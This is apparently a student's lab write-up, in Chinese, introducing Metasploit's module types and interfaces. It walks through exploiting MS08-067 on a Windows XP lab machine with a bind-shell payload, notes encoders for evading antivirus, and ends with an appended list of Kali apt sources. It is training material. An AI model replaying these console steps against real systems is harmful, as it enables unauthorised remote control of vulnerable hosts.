MSF基礎攻擊實踐
- MSF的六個模塊:exploit,encoder,payload,aux,post,nops
- exploit——滲透攻擊模塊
測試者利用它來攻擊一個系統,程序,或服務,以獲得開發者意料之外的結果。常見的有內存溢出,網站程序漏洞利用,配置錯誤exploit。
exploits總的來說共分為兩類溢出(exploit)攻擊方法,即主動溢出和被動溢出。主動溢出是針對目標主機的漏洞主動的進行攻擊以獲得控制權限,被動溢出是針
對目標主機被動的監聽然后獲得相應的操作。
Exploit共分為13種,分別是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。
- encoder——編碼器模塊,對指令重新進行編碼,用以實現反檢測功能、指令順利執行等
在metasploit中內置了27種encode模塊,可對metasploit中的exploit進行編碼(encode),以避免反病毒軟件檢測。如:
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
- payload——攻擊載荷模塊, 由一些可動態運行在遠程主機上的代碼組成
我們想讓被攻擊系統執行的程序,如reverse shell 可以從目標機器與測試者之間建立一
個反響連接,bind shell 綁定一個執行命令的通道至測試者的機器。payload 也可以是只
能在目標機器上執行有限命令的程序。
- aux——輔助模塊,用以實現輔助攻擊,如端口掃描工具、口令猜測破解、敏感信息嗅探等
- post——后滲透攻擊模塊
在滲透攻擊取得目標系統遠程控制權之后,在受控系統中進行各式各樣的后滲透攻擊動作,比如獲取敏感信息、進一步拓展、實施跳板攻擊等。
- nops——空指令模塊,用以產生緩沖區填充的非操作性指令
-
使用msfconsole,了解msfcli,msfgui
Metasploit目前提供了三種用戶使用接口,一個是GUI模式,另一個是console終端模式,第三種是CLI(命令行)模式。msfcli 雖然和msfconsole一樣同為命令行界面,
但是他不提供交互的命令行模式,直接通過命令行執行輸出結果,直接調用輔助模塊和攻擊模塊對目標進行滲透攻擊,更為高效便捷。msfgui 圖形化界面工具可
輕松地單擊鼠標,輸入目標 IP 地址,就可以使用 Metasploit 強大功能滲透進入目標系統 。
- msfconsole模式最常用,啟動方式:
輸入msfconsole
運行此命令后將進入msf 命令提示符:
msf>
2、獲取命令的幫助信息:help
例子:help connect
3、Armitage :MSF 的一個圖形接口
運行方式:armitage
-
常用exploit,payload設置參數
- show exploit——顯示Metasploit中所有滲透攻擊模塊
- show playload——查看所有活動狀態的攻擊載荷
-
攻擊靶機並獲取shell
被攻擊者IP地址:192.168.120.131,操作系統Windows XP sp3
攻擊者IP地址:192.168.120.130
1.//查找ms08_067漏洞
msf > search ms08_067
2、//使用MS08_067漏洞
use exploit/windows/smb/ms08_067_netapi
3、//設置遠程地址,正向連接
set RHOST 192.168.120.131
4、//設置ShellCode
set payload windows/shell_bind_tcp
5、//顯示配置的選項
show options
6、//expliot攻擊
成功返回Shell
源:
deb http://mirrors.ustc.edu.cn/kali sana main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security/ sana/updates main contrib non-free
#阿里雲kali源
deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb cdrom:[Debian GNU/Linux 2.0 _Sana_ - Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free
deb cdrom:[Debian GNU/Linux 2.0 _Sana_ - Official Snapshot i386 LIVE/INSTALL Binary 20150811-09:06]/ sana contrib main non-free
deb http://http.kali.org/kali sana main non-free contrib
deb-src http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb-src http://security.kali.org/kali-security/ sana/updates main contrib non-free
deb http://http.kali.org/kali kali main non-free contrib
deb-src http://http.kali.org/kali kali main non-free contrib
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb http://mirrors.aliyun.com/kali kali main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
deb http://mirrors.aliyun.com/kali kali main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free